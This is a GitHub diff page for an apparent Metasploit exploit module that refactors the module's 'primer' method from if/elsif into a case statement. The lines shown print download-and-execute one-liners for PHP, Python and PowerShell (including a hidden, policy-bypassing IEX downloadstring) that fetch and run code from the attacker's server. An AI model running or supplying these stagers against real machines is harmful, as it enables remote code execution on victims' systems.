File tree Expand file tree Collapse file tree 1 file changed +7
-7
lines changed
modules/exploits/multi/script Expand file tree Collapse file tree 1 file changed +7
-7
lines changed Original file line number Diff line number Diff line change @@ -67,8 +67,6 @@ def initialize(info = {})
67
67
'Platform' => 'win' ,
68
68
'Arch' => ARCH_X86_64
69
69
} ] ,
70
-
71
-
72
70
] ,
73
71
'DefaultTarget' => 0 ,
74
72
'DisclosureDate' => 'N/A'
@@ -88,17 +86,19 @@ def on_request_uri(cli, request)
88
86
def primer
89
87
url = get_uri ( )
90
88
print_status ( "Run the following command on the target machine:" )
91
- if ( target . name == "PHP_linux" )
89
+ case target . name
90
+ when "PHP_linux"
92
91
print_line ( "php -r \" eval(file_get_contents('#{ url } '));\" " )
93
- elsif ( target . name == "PHP_win" )
92
+ when "PHP_win"
94
93
print_line ( "php.exe -r \" eval(file_get_contents('#{ url } '));\" " )
95
- elsif ( target . name == "Python_linux" )
94
+ when "Python_linux"
96
95
print_line ( "python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
97
- elsif ( target . name == "Python_win" )
96
+ when "Python_win"
98
97
print_line ( "python.exe -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
99
- else
98
+ when "PSH"
100
99
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
101
100
print_line ( "powershell.exe -w hidden -nop -ep bypass -c \" #{ download_and_run } \" " )
102
101
end
103
102
end
104
103
end
104
+
You can’t perform that action at this time.
0 commit comments